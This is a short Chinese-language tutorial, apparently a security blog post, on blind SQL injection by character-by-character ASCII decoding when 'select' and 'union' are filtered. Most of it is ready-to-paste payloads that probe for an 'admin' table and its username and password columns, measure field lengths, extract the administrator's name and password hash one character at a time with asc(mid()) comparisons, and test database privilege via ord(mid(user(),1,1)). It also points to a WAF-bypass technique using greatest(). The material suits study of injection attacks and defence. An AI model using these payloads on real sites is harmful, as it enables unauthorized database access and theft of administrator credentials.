/*By:珍惜少年時*/
逐字解碼法,不一定非要猜字段內容。庫名,表名,字段,data,都能猜。
環境過濾了select、union(mysql5.0以下的版本就不支持union所以也可以用此方法),你可以用這方法。exists只是其中一種,還有別的方法也能猜。
注:mysql不支持top函數,請使用limit函數
注入思路:
先把表跟字段猜解出來,猜解出來了.這個算是一個半猜解查詢吧
00x1判斷表是否存在
and exists (select * from admin) //猜解是否含有admin這個表
00x2判斷字段是否存在
and exists (select username from admin) //猜解是否含有username這個字段 and exists (select password from admin) //猜解是否含有password這個字段
00x3字段長度的判斷,判斷了其長度更利於注入。比如判斷了username的長度為五,那么極有可能是admin
username字段的判斷: and (select top 1 len(username) from admin)>5 //返回錯誤 and (select top 1 len(username) from admin)=5 //返回正確,說明username的單詞長度為五個,很有可能是admin password字段的判斷: and (select top 1 len(password) from admin)>16 //返回錯誤 and (select top 1 len(password) from admin)=16 //返回正確,說明password的單詞長度為十六位的,很可能是經過md5加密的.
00x4[猜解管理員賬號] //使用ASCII轉換即可獲得加密內容.
and(select top 1 asc(mid(username,1,1)) from admin)>97 錯誤 and(select top 1 asc(mid(username,1,1)) from admin)=97 正確 則說明只有第一位的ASCII碼為九十七 and(select top 1 asc(mid(username,2,1)) from admin)=100 第二位也是同理.只不過mid函數里要修改以下部分內容 and(select top 1 asc(mid(username,3,1)) from admin)=109 and(select top 1 asc(mid(username,4,1)) from admin)=105 and(select top 1 asc(mid(username,5,1)) from admin)=110
00x5[猜解管理員密碼]//與猜解賬號方法大同小異
公式:and(select top 1 asc(mid(password,a,n)) from admin)>97 //注:a大於n大1,后面的數字是ascii。
and(select top 1 asc(mid(password,1,1)) from admin)>97 and(select top 1 asc(mid(password,1,1)) from admin)=97 and(select top 1 asc(mid(password,2,1)) from admin)=50 and(select top 1 asc(mid(password,3,1)) from admin)=36 ......................................................
然后將97 50 36 等ascii碼拿去解密。即可拿到真正的md5值
當然了你還可以用逐字解碼法來弄更多的東西
比如我們來講一下,逐字解碼法來判斷數據庫權限;
在次我們要了解兩個函數:
- Ord:該函數的作用是返回值字符串的第一個ASCII值
- Mid:用於得到函數的一部分,比如root里面的r
CODE區域:
and ord(mid(user(),1,1))=114/*
=》結合函數的意思來說,就是得到第一個字符的ascii值。如果等於114就返回正確。114的ASCII值是r
當“<”,“>”大小於符號被過濾的時候,可以通過greatest函數繞過。可參考:http://www.lijiejie.com/mysql-injection-bypass-waf/
此外ASCII逐字解碼興許還有很多我不知道的,懇求大家的分享。
THE END
